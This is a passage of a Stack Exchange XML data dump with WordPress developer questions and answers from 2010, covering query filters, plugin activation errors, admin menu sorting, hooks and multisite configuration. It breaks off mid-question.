  <row Id="2324" PostTypeId="1" CreationDate="2010-09-28T20:22:05.207" Score="1" ViewCount="269" Body="&lt;p&gt;&lt;em&gt;I have to display the posts as the following&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;September 2010&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Friday September 24, 2010&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post1&#xA;post2&#xA;.&#xA;.&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Friday September 17, 2010&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post1&#xA;post2&#xA;.&#xA;.&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Friday September 10, 2010&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post1&#xA;post2&#xA;.&#xA;.&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Friday September 03, 2010&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post1&#xA;post2&#xA;.&#xA;.&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;can any one tell, how can do this?, or which function should i use?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the following function and i got all the post in current month&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&quot;year=$current_year&amp;amp;monthnum=$current_month&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i show the posts per week of this month?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;is it work&lt;/strong&gt; &lt;code&gt;query_posts(&quot;&quot;year=$current_year&amp;amp;monthnum=$current_month&amp;amp;post_date &amp;gt;$startDate&amp;amp;post_date &amp;lt;=$endDate&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or what is another good way?&lt;/strong&gt;&lt;/p&gt;&#xA;" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-11-06T22:23:02.450" LastActivityDate="2010-11-06T22:23:02.450" Title="How can i display the posts per week in a particular month?" Tags="&lt;query-posts&gt;&lt;archive&gt;" AnswerCount="1" />
  <row Id="2326" PostTypeId="1" AcceptedAnswerId="2344" CreationDate="2010-09-28T20:58:40.517" Score="1" ViewCount="98" Body="&lt;p&gt;The code below is contained in a plugin file. It just seeks to execute an update query against the wp database. However, its generating a fatal error. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Cannot redeclare ce3_cleanup()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to load a config file to get acess to $wpdb-&gt;query?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ce3_cleanup()&#xA;{&#xA;    $wpdb-&amp;gt;query(&quot;update wp_postmeta set meta_key=replace(meta_key,'cb2_customHeader','_cb2_customHeader') where meta_key like 'cb2_customHeader'&quot;);&#xA;    $wpdb-&amp;gt;query(&quot;update wp_postmeta set meta_key=replace(meta_key,'cb2_customTitle','_cb2_customTitle') where meta_key like 'cb2_customTitle'&quot;);&#xA;}&#xA;register_activation_hook(__FILE__, 'ce3_cleanup');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-29T06:27:18.520" Title="&quot;Plugin could not be activated because it triggered a fatal error.&quot;" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="2327" PostTypeId="2" ParentId="2326" CreationDate="2010-09-28T21:12:35.413" Score="2" ViewCount="" Body="&lt;p&gt;No, &lt;code&gt;Cannot redeclare...&lt;/code&gt; means that you already have a function named &lt;code&gt;ce3_cleanup()&lt;/code&gt; somewhere else on your site.  Perhaps in another plug-in or in your theme.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-28T21:12:35.413" CommentCount="3" />
  <row Id="2328" PostTypeId="2" ParentId="2315" CreationDate="2010-09-28T21:45:46.600" Score="0" ViewCount="" Body="&lt;p&gt;is the question about a scrolling content or the &quot;multiple part&quot; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that If you want to have a scroll box , add a regular text widget where you add the links and then you need to wrap your links around an overflow:scroll - here is an example - of course u can play with the css to make it &quot;nice&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div style=&quot;height:120px;width:150px;overflow:scroll;&quot;&amp;gt;&#xA;    As you can see, once there's enough text in this box, the box will grow scroll bars... that's why we call it a scroll box! You could also place an image into the scroll box.&#xA;    &amp;lt;/div&amp;gt;&lt;/code&gt;  &lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-28T21:45:46.600" />
  <row Id="2329" PostTypeId="2" ParentId="2194" CreationDate="2010-09-28T21:52:02.813" Score="0" ViewCount="" Body="&lt;p&gt;Another solution is via tags - or cateogry - requires no additional plugin and somehow works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;good question tho, helps in collaborating&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-28T21:52:02.813" CommentCount="2" />
  <row Id="2330" PostTypeId="2" ParentId="2324" CreationDate="2010-09-28T22:44:14.600" Score="2" ViewCount="" Body="&lt;p&gt;You'll need to add a condition to the &lt;code&gt;posts_where&lt;/code&gt; filter in wordpress. I have an example here for only pulling posts that are from the current post's date and earlier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// filter wp_query when $dated_before is set&#xA;function dg_dated_before($where)&#xA;{&#xA;    global $wp_query, $wpdb, $dated_before;&#xA;    if (isset($dated_before)):&#xA;        $where = $where . &quot; AND $wpdb-&amp;gt;posts.post_date &amp;lt;= '&quot;. $dated_before . &quot;' &quot; ;&#xA;    endif;&#xA;    return $where ;&#xA;}&#xA;add_filter('posts_where', 'dg_dated_before') ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this, or similar wherever it is that you are running your query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $dated_before;&#xA;$dated_before = $post-&amp;gt;post_date;&#xA;$queryObject = new WP_Query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll obviously need to modify this to add the date boundaries that you need.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-28T22:44:14.600" CommentCount="1" />
  <row Id="2331" PostTypeId="1" CreationDate="2010-09-28T23:33:35.080" Score="1" ViewCount="598" Body="&lt;p&gt;On a related note to &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1216/changing-the-order-of-admin-menu-sections&quot;&gt;Changing the Order of Admin Menu Sections?&lt;/a&gt;&quot;, I'm looking for a way to alphabetically sort the entries in each sub-section of WordPress's admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, whenever a new plugin is added, its entry will appear in a seemingly random location under Settings / Tools / Plugins, and it's often hard to locate the new menu item. (I have a lot of plugins already, so my menus are pretty full.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being that I add and remove plugins fairly regularly, I would rather not need to continually go into the settings page for a menu-ordering plugin and adjust the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the long question; I just want to make it clear what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    Settings&#xA;    - General&#xA;    - Writing&#xA;    - Reading&#xA;    - Discussion&#xA;    - (rest of core items)&#xA;    - Plugin 4&#xA;    - WP something&#xA;    - A plugin to help with stuff&#xA;    - Google-related plugin&#xA;    - RSS plugin&#xA;    - FeedBurner plugin&#xA;    - etc.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I have the menu sorted alphabetically (or by another logical method), e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    Settings&#xA;    - A plugin to help with stuff&#xA;    - Discussion&#xA;    - FeedBurner plugin&#xA;    - General&#xA;    - Google-related plugin&#xA;    - Plugin 4&#xA;    - Reading&#xA;    - (rest of core items)&#xA;    - RSS plugin&#xA;    - WP something&#xA;    - Writing&#xA;    - etc.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even better would be a sort method that keeps the core entries where they are by default and only sorts items added by plugins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    Settings&#xA;    - General&#xA;    - Writing&#xA;    - Reading&#xA;    - Discussion&#xA;    - (rest of core items)&#xA;    - A plugin to help with stuff&#xA;    - FeedBurner plugin&#xA;    - Google-related plugin&#xA;    - Plugin 4&#xA;    - RSS plugin&#xA;    - WP something&#xA;    - etc.&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-09-29T09:30:18.490" Title="Sort admin menu items" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;sort&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2332" PostTypeId="1" AcceptedAnswerId="2439" CreationDate="2010-09-28T23:41:23.903" Score="0" ViewCount="264" Body="&lt;p&gt;At some point, I started getting a message about 311 characters of unexpected output at every plugin activation. The number is always the same, and it happens for every plugin activation, including reactivating plugins that were temporarily deactivated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The plugin generated 311 characters of &lt;strong&gt;unexpected output&lt;/strong&gt; during activation. If you notice “headers already sent” messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this likely to be a problem with a plugin that has extra whitespace in its files or something? I haven't yet gotten any problems with headers already having been sent. Possibly it's related to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/469/how-to-eliminate-weird-404-errors-in-wp-admin&quot;&gt;the weird 404 errors I get in wp-admin&lt;/a&gt;, but that problem was around long before this unexpected output issue.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditorDisplayName="" LastEditDate="2010-09-30T22:49:02.297" LastActivityDate="2010-10-01T05:57:12.100" Title="All new plugins generating 311 chars of unexpected output?" Tags="&lt;plugins&gt;&lt;errors&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2333" PostTypeId="1" CreationDate="2010-09-28T23:49:20.960" Score="0" ViewCount="97" Body="&lt;p&gt;Several months ago, I was browsing around the Internet and came across a WordPress site that had updates on the posts enclosed in &lt;code&gt;[edit]...[/edit]&lt;/code&gt;. Obviously this was a function provided by a plugin that was no longer active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched Google and the WordPress plugin directory for a plugin that provided this shortcode, but found nothing. Presumably the content within &lt;code&gt;[edit]...[/edit]&lt;/code&gt; (or &lt;code&gt;[edit date=&quot;yyyy-mm-dd&quot;]...[/edit]&lt;/code&gt;) was displayed in a special way, like a revision list below the post or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins that do this? I immediately wanted to add the functionality a plugin that would use a shortcode set up in that way to my site, but couldn't find the plugin.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-11-06T03:34:11.230" Title="Plugin that provides the [edit] shortcode?" Tags="&lt;plugins&gt;&lt;shortcode&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2334" PostTypeId="2" ParentId="2193" CreationDate="2010-09-29T00:03:17.030" Score="1" ViewCount="" Body="&lt;p&gt;The default UI view for a hierarchical custom taxonomy is a series of checkboxes. It sounds like wine taxonomies have a one to many relationship so you should be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are registering your taxonomy using PHP add hierarchical =&gt; true to your configuration options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;register_taxonomy( 'xxx', 'post', array( ... &lt;strong&gt;'hierarchical' =&gt; true&lt;/strong&gt; , ...) ); } ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a plugin there should be an option to set a taxonomy to hierarchical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--E&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2010-09-29T00:03:17.030" />
  <row Id="2335" PostTypeId="1" CreationDate="2010-09-29T00:37:56.763" Score="3" ViewCount="84" Body="&lt;p&gt;How do you make your wordpress blog accessible for people with disabilities  ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;are there any special plugins you are using ? &#xA;are there any friendly themes you recommend ? &#xA;is there an auto-detect in the browser if the operating system accessibility tools are running ? aka is there a way to build an auto-detect that will load a special theme onces accessibility tools are enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help and suggestions&lt;/p&gt;&#xA;" OwnerUserId="692" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-03T01:19:48.697" LastActivityDate="2010-10-03T01:19:48.697" Title="How to make WordPress blog accessible for people with disabilities?" Tags="&lt;accessibility&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2336" PostTypeId="1" AcceptedAnswerId="2338" CreationDate="2010-09-29T00:41:17.490" Score="0" ViewCount="553" Body="&lt;p&gt;I've created a custom post type called &lt;code&gt;video&lt;/code&gt; and I'm using a plugin called &lt;code&gt;Playlist_Order&lt;/code&gt; (which changes the &lt;code&gt;menu_order&lt;/code&gt; field) to allow the user to use a drag and drop interface to order their videos in a playlist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when adding a new post the video appears at the top of the playlist because it's given a default &lt;code&gt;menu_order&lt;/code&gt; value of &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On creation of a new video post I would like it to appear last in the playlist - i.e. query all &lt;code&gt;video&lt;/code&gt; post types, find the largest &lt;code&gt;menu_order&lt;/code&gt; value and then set this &lt;code&gt;+1&lt;/code&gt; for the new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I implement this?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-29T01:00:00.307" LastActivityDate="2011-05-05T10:06:37.540" Title="Define menu_order on Creation of New Custom Post?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2337" PostTypeId="1" CreationDate="2010-09-29T01:15:12.950" Score="3" ViewCount="590" Body="&lt;p&gt;I'm working on a site that requires an https secured admin area and a secure front-end area as well where private information will be shown. My preference for user login is an Ajax-enabled widget that can be shown on every page of the site, but I'm not able to make it work when passing submitted form data from the non-secured pages to the login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started by using the &lt;a href=&quot;http://wordpress.org/extend/plugins/login-with-ajax/&quot; rel=&quot;nofollow&quot;&gt;Login With Ajax&lt;/a&gt; plugin, which with a few modifications, plays well with SSL for the most part, and it works fine when logging in from a page that's being accessed by https... and it also works fine when FORCE_SSL_ADMIN is turned off. But when trying to log in from the widget on a non-secured page with FORCE_SSL_ADMIN on, I can't get an response from the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any existing plugins which solve this problem? And if not, anyone have any solutions? Maybe a secured form embedded in an iframe is my best idea so far... just thinking that there must be an easier way. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;*Edit: Offering Bounty*&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'm adding a bounty to this question because I'm still curious. I worked around this in my project by just giving up on the widget and displaying a link to the wp-login page. But being able to embed a secure login form on a non secure page would be a much better solution. I'll award the bounty to anyone who can show code that would work to make that happen, or point me to a plugin that already does this.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:18:36.957" LastActivityDate="2011-08-17T09:46:41.247" Title="How can I make an Ajax login form work with FORCE_SSL_ADMIN enabled?" Tags="&lt;plugins&gt;&lt;admin&gt;&lt;login&gt;&lt;ajax&gt;&lt;ssl&gt;" AnswerCount="4" CommentCount="5" />
  <row Id="2338" PostTypeId="2" ParentId="2336" CreationDate="2010-09-29T01:28:24.680" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@fxfuture&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you are looking for is the &lt;code&gt;wp_insert_post_data&lt;/code&gt; hook. You can add this code to the bottom of your theme's &lt;code&gt;functions.php&lt;/code&gt; file and/or you can add it to a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data','my_wp_insert_post_data',10,2);&#xA;function my_wp_insert_post_data($data, $postarr) {&#xA;  $post_type = 'video';&#xA;  if ($data['post_type']==$post_type &amp;amp;&amp;amp; get_post($postarr['ID'])-&amp;gt;post_status=='draft') {&#xA;    global $wpdb;&#xA;    $data['menu_order'] = $wpdb-&amp;gt;get_var(&quot;SELECT MAX(menu_order)+1 AS menu_order FROM {$wpdb-&amp;gt;posts} WHERE post_type='{$post_type}'&quot;);&#xA;  }&#xA;  return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-29T01:28:24.680" CommentCount="2" />
  <row Id="2339" PostTypeId="2" ParentId="2269" CreationDate="2010-09-29T03:14:18.413" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/breadcrumb-navxt/&quot; rel=&quot;nofollow&quot;&gt;Breadcrumb NavXT&lt;/a&gt; will let you do that, it has a built in widget and supports just about everything WordPress can do (breadcrumbs spanning multiple sites in a multi site setup does not work, yet).&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-09-29T03:14:18.413" CommentCount="3" />
  <row Id="2340" PostTypeId="1" AcceptedAnswerId="2342" CreationDate="2010-09-29T04:34:54.013" Score="2" ViewCount="249" Body="&lt;p&gt;How do you know when to add your action to init or wp_head. In particular with regards to scripts and styles, but also any other action.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-09-29T05:26:37.660" Title="when should an action be added to init and when should it be added to wp_head" Tags="&lt;init&gt;&lt;wp-head&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2341" PostTypeId="2" ParentId="2230" CreationDate="2010-09-29T04:55:37.267" Score="3" ViewCount="" Body="&lt;p&gt;I use IntenseDebate and am mostly happy with it. One thing to note is that it does have occasional downtime (&lt;a href=&quot;http://status.automattic.com/&quot; rel=&quot;nofollow&quot;&gt;Automattic's status page&lt;/a&gt; shows that in the last six days there's been two days with downtime). Also the comment system will take longer to load than comments built in to your theme which can sometimes be frustrating if someone goes to the comment form area before it's even loaded.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Comments are stored externally - you&#xA;  no longer have 'possession' of the&#xA;  comments on your blog - they are&#xA;  stored by somebody else, physically&#xA;  away from the rest of your blogaway from the rest of your blog&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While some off-site systems do take &quot;possession&quot; of your comments, if you use the IntenseDebate WordPress plugin it actually syncs the comments into your blog's database. If IntenseDebate comments do fail to load (maybe due to aforementioned downtime), existing comments on a post will load using your theme's styles for comments and visitors will be able to comment using your existing comment form. &lt;a href=&quot;http://support.intensedebate.com/wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;Here are more details&lt;/a&gt; on how ID handles comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note is that since WP 3.0, there is a built-in function to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;load a customizable comment form&lt;/a&gt; using &lt;code&gt;&amp;lt;?php comment_form(); ?&amp;gt;&lt;/code&gt;and a variety of parameters.&lt;/p&gt;&#xA;" OwnerUserId="399" LastActivityDate="2010-09-29T04:55:37.267" />
  <row Id="2342" PostTypeId="2" ParentId="2340" CreationDate="2010-09-29T05:26:37.660" Score="4" ViewCount="" Body="&lt;p&gt;From Codex &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Action Reference&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;init&lt;/code&gt; Runs after WordPress has finished loading but before any&#xA;  headers are sent. Useful for&#xA;  intercepting $_GET or $_POST triggers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;wp_head&lt;/code&gt; Runs when the template calls the wp_head function. This hook&#xA;  is generally placed near the top of a&#xA;  page template between &amp;lt;head&gt; and&#xA;  &amp;lt;/head&gt;. This hook does not take any&#xA;  parameters.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically &lt;code&gt;wp_head&lt;/code&gt; runs when page is already being loaded, while &lt;code&gt;init&lt;/code&gt; runs before that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget that &lt;code&gt;init&lt;/code&gt; fires on admin pages as well and anything front-end related must be excluded from there with &lt;code&gt;!is_admin()&lt;/code&gt; check.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-29T05:26:37.660" CommentCount="1" />
  <row Id="2343" PostTypeId="2" ParentId="2335" CreationDate="2010-09-29T05:57:31.857" Score="1" ViewCount="" Body="&lt;p&gt;Codex has some info on it overall:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Accessibility&quot; rel=&quot;nofollow&quot;&gt;Accessibility&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_ATAG_Evaluation&quot; rel=&quot;nofollow&quot;&gt;WordPress ATAG Evaluation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-29T05:57:31.857" CommentCount="1" />
  <row Id="2344" PostTypeId="2" ParentId="2326" CreationDate="2010-09-29T06:27:18.520" Score="0" ViewCount="" Body="&lt;p&gt;The recommended way to write that function would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ce3_cleanup() {&#xA;    global $wpdb;&#xA;&#xA;    $wpdb-&amp;gt;query( &quot;update $wpdb-&amp;gt;postmeta set meta_key=replace(meta_key,'cb2_customHeader','_cb2_customHeader') where meta_key like 'cb2_customHeader'&quot; );&#xA;    $wpdb-&amp;gt;query( &quot;update $wpdb-&amp;gt;postmeta set meta_key=replace(meta_key,'cb2_customTitle','_cb2_customTitle') where meta_key like 'cb2_customTitle'&quot; );&#xA;}&#xA;register_activation_hook( __FILE__, 'ce3_cleanup' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-29T06:27:18.520" />
  <row Id="2345" PostTypeId="1" CreationDate="2010-09-29T07:57:54.050" Score="0" ViewCount="153" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2044/redirecting-traffic-from-old-wordpress-com-blog-to-privately-hosted-wordpress&quot;&gt;Redirecting traffic from old &amp;ldquo;.WordPress.com&amp;rdquo; blog to privately hosted WordPress blog?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have a blog on wordpress.com that I'm moving over to one of my own servers. I've got the new server installed and have exported the old content and have put it up on the new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm now wondering is, what's an effective way of redirecting old users and web links to my new server. The old blog is a free install and doesn't seem to let me install plugins, is there a way better way to push links to my new server, other than hacking each post with a &quot;I've moved to here&quot; link?&lt;/p&gt;&#xA;" OwnerUserId="1080" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-29T20:37:03.570" LastActivityDate="2010-09-29T20:37:03.570" ClosedDate="2010-09-29T20:38:25.530" Title="What's the best way to migrate away from a free wordpress install?" Tags="&lt;wordpress.com&gt;&lt;seo&gt;&lt;migration&gt;" CommentCount="1" />
  <row Id="2346" PostTypeId="1" CreationDate="2010-09-29T08:34:21.290" Score="3" ViewCount="388" Body="&lt;p&gt;I'm working with Drupal on a project right now, and for all it's faults, having a commandline interface like &lt;a href=&quot;http://drush.ws&quot; rel=&quot;nofollow&quot;&gt;drush&lt;/a&gt; to the Drupal framework is a godsend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an equivalent for using Wordpress to let you control which plugins a site is deployed with, or what ddefault settings should be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the current best approach just to drop this stuff into wp-config or somewhere similar?&lt;/p&gt;&#xA;" OwnerUserId="1081" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-29T23:30:43.073" LastActivityDate="2010-10-29T07:41:57.790" Title="Is there a drush equivalent for WordPress yet?" Tags="&lt;deploy&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="2347" PostTypeId="2" ParentId="2331" CreationDate="2010-09-29T09:30:18.490" Score="2" ViewCount="" Body="&lt;p&gt;I was looking for the same thing and figured I would copy code provide by Mike below which he claims is still very much in alpha since its only been him that has been using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested it and it seems to work well for me. I'm sure there are use-cases they do not yet handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe Mike will comment in here and provide additional help on how you can use his class to achieve your goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the file to drop in your theme's directory here: &lt;a href=&quot;https://gist.github.com/792b7aa5b695d1092520&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/792b7aa5b695d1092520&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows below shows how you might call the functions in your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once('wp-admin-menu-classes.php');&#xA;add_action('admin_menu','my_admin_menu');&#xA;function my_admin_menu() {&#xA;  swap_admin_menu_sections('Pages','Posts');              // Swap location of Posts Section with Pages Section&#xA;  rename_admin_menu_section('Media','Photos &amp;amp; Video');    // Rename Media Section to &quot;Photos &amp;amp; Video&quot;&#xA;  delete_admin_menu_section('Links');                     // Get rid of Links Section&#xA;  $movie_tags_item_array = get_admin_menu_item_array('Movies','Movie Tags');  // Save off the Movie Tags Menu&#xA;  update_admin_menu_section('Movies',array(               // Rename two Movie Menu Items and Delete the Movie Tags Item&#xA;    array('rename-item','item'=&amp;gt;'Movies','new_title'=&amp;gt;'List Movies'),&#xA;    array('rename-item','item'=&amp;gt;'Add New','new_title'=&amp;gt;'Add Movie'),&#xA;    array('delete-item','item'=&amp;gt;'Movie Tags'),&#xA;  ));&#xA;  copy_admin_menu_item('Movies',array('Actors','Add New')); // Copy the 'Add New' over from Actors&#xA;  renamed_admin_menu_item('Movies','Add New','Add Actor');  // Rename copied Actor 'Add New' to 'Add Actor&#xA;  add_admin_menu_item('Movies',array(                       // (Another way to get a 'Add Actor' Link to a section.)&#xA;    'title' =&amp;gt; 'Alt Add Actor ',&#xA;    'slug' =&amp;gt; 'post-new.php?post_type=actor',&#xA;  ), array(// Add Back the Movie Tags at the end.&#xA;    'where'=&amp;gt;'end'&#xA;  ));&#xA;  add_admin_menu_item('Movies',$movie_tags_item_array,array(// Add Back the Movie Tags at the end.&#xA;    'where'=&amp;gt;'end'&#xA;  ));&#xA;  delete_admin_menu_section('Actors');                      // Finally just get rid of the actors section&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's more, these functions are even under consideration (as a base) for inclusion in WordPress 3.1 so if we're lucky these might even become standard!&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-29T09:30:18.490" CommentCount="1" />
  <row Id="2348" PostTypeId="1" CreationDate="2010-09-29T10:05:29.650" Score="1" ViewCount="266" Body="&lt;p&gt;Our team has run in to a problem working with wordpress 3 multiblog.&#xA;We usually work with a local copy of the site (localhost/testsite) but with the same database to keep all changes up to date.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine in a single install because you can override the database configs from php with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('URL',$path);  &#xA;define('WP_HOME',$path);  &#xA;define('WP_SITEURL',$path);  &#xA;define( 'WP_CONTENT_URL', $path.'/wp-content');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work on the multisite because of the extra tables (&lt;code&gt;wp_blogs&lt;/code&gt;, &lt;code&gt;wp_site&lt;/code&gt;) and they have the path to the blog in their settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to override these settings? I would like the site to run on domain 